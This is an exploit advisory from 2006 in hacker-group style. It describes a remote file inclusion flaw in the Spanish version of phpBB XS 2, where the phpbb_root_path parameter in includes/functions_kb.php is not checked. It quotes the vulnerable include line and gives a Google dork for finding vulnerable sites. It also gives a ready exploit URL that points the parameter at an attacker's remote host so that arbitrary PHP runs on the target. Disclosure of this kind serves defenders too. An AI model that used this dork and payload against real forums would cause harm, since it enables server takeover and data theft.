#############################SolpotCrew Community################################=0D
#=0D
#  phpBB XS 2 spain version (phpbb_root_path) Remote File Inclusion =0D
#=0D
# Download : http://www.elanzuelo.es/phpbb.tar.gz=0D 
#=0D
#################################################################################=0D
#=0D
#=0D
#       Bug Found By :Solpot a.k.a (k. Hasibuan) (28-09-2006)=0D
#=0D
# contact: chris_hasibuan@yahoo.com =0D 
# =0D
# Website : http://www.nyubicrew.org/adv/solpot-adv-10.txt=0D 
#=0D
################################################################################=0D
#=0D
#=0D
#      Greetz: choi , h4ntu , Ibnusina , r4dja , No-profile , begu , madkid ,Noordin`M`TOP=0D
#              robby , Matdhule , setiawan , m3lky , NpR , Fungky , barbarosa=0D
#              home_edition2001 , Rendy , cow_1seng , ^^KaBRuTz , bYu , Lappet-homo=0D
#              Blue|spy , cah|gemblung , Slacky , blind_boy , camagenta , XdikaX=0D
#              x-ace , Dalmet , th3sn0wbr4in , iFX , ^YoGa^ , Soey , vend3r , k1tk4t=0D
#              [K]ompoR_Meledu[K] , Scr3W_W0rM , TOMMY^PENGAMEN , Belaj4r, ^NakKuta            =0D
# and all member solpotcrew community @ http://nyubicrew.org/forum/=0D 
#              especially thx to str0ke @ milw0rm.com=0D
#=0D
###############################################################################=0D
Input passed to the "phpbb_root_path" is not properly verified  =0D
before being used to include files. This can be exploited to execute  =0D
arbitrary PHP code by including files from local or external resources.  =0D
=0D
code from includes/functions_kb.php=0D
=0D
/***************************************************************************=0D
 *=0D
 *   This program is free software; you can redistribute it and/or modify=0D
 *   it under the terms of the GNU General Public License as published by=0D
 *   the Free Software Foundation; either version 2 of the License, or=0D
 *   (at your option) any later version.=0D
 *=0D
 *=0D
 ***************************************************************************/=0D
=0D
//=0D
// get_quick_stats();=0D
// gets number of articles=0D
//=0D
=0D
include_once($phpbb_root_path.'includes/functions_color_groups.'.$phpEx);=0D
=0D
=0D
function get_quick_stats()=0D
=0D
=0D
Google Dork : "Traduccion Espanol por phpBB-Es"=0D
=0D
Exploit : http://somehost/path_to_phpbbXS2/includes/functions_kb.php?phpbb_root_path=http://injek-pala-lappet?=0D 
=0D
##############################MY LOVE JUST FOR U RIE#########################  =0D
######################################E.O.F################################## =0D
=0D
=0D